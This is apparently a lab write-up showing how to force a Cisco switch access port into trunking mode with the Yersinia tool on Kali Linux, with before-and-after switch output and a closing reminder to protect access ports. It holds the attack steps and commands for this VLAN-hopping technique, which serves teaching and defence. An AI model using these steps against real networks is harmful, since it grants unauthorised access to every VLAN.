LABS

# DTP attack

  1. Goal

    • Getting an access port into trunking mode. (All VLANs are reachable)

  2. Used hardware

    • 1 laptop with Kali Linux
    • 1 Cisco device

  3. Used software

    • Kali Linux (2020.1)

  4. Setup

    Success

  5. Getting started

    1. Check if DTP (Dynamic Trunking Protocol) is enabled on the Cisco device.

    Success

    More information about DTP (opens new window)

    1. Check the status of port on the Cisco switch.
    Switch#show int gigabitEthernet 0/2 trunk

Port        Mode             Encapsulation  Status        Native vlan
Gi0/2       auto             802.1q         not-trunking  1

Port        Vlans allowed on trunk
Gi0/2       1

Port        Vlans allowed and active in management domain
Gi0/2       1

Port        Vlans in spanning tree forwarding state and not pruned
Gi0/2       1
Switch#
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    1. Install Yersinia on Kali Linux (if necessary)

    More information about Yersinia (opens new window)

    kali@kali:~# sudo apt-get update
kali@kali:~# sudo apt-get upgrade
kali@kali:~# sudo apt-get install yersinia
    1
    2
    3
    1. Start Yersinia in Graphical Mode (KALI Linux).
    kali@kali:~# sudo yersinia -G
    1

    Success

    1. Select Launch Attack and select DTP

    Success

    Success

    1. Check the status of port on the Cisco switch.
    Switch#show int gigabitEthernet 0/2 trunk

Port        Mode             Encapsulation  Status        Native vlan
Gi0/2       auto             802.1q         trunking      1

Port        Vlans allowed on trunk
Gi0/2       1-4094

Port        Vlans allowed and active in management domain
Gi0/2       1,10,20

Port        Vlans in spanning tree forwarding state and not pruned
Gi0/2       1,10,20
Switch#
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14

  6. Conclusion

    • Protect your access ports!

← MAC flooding →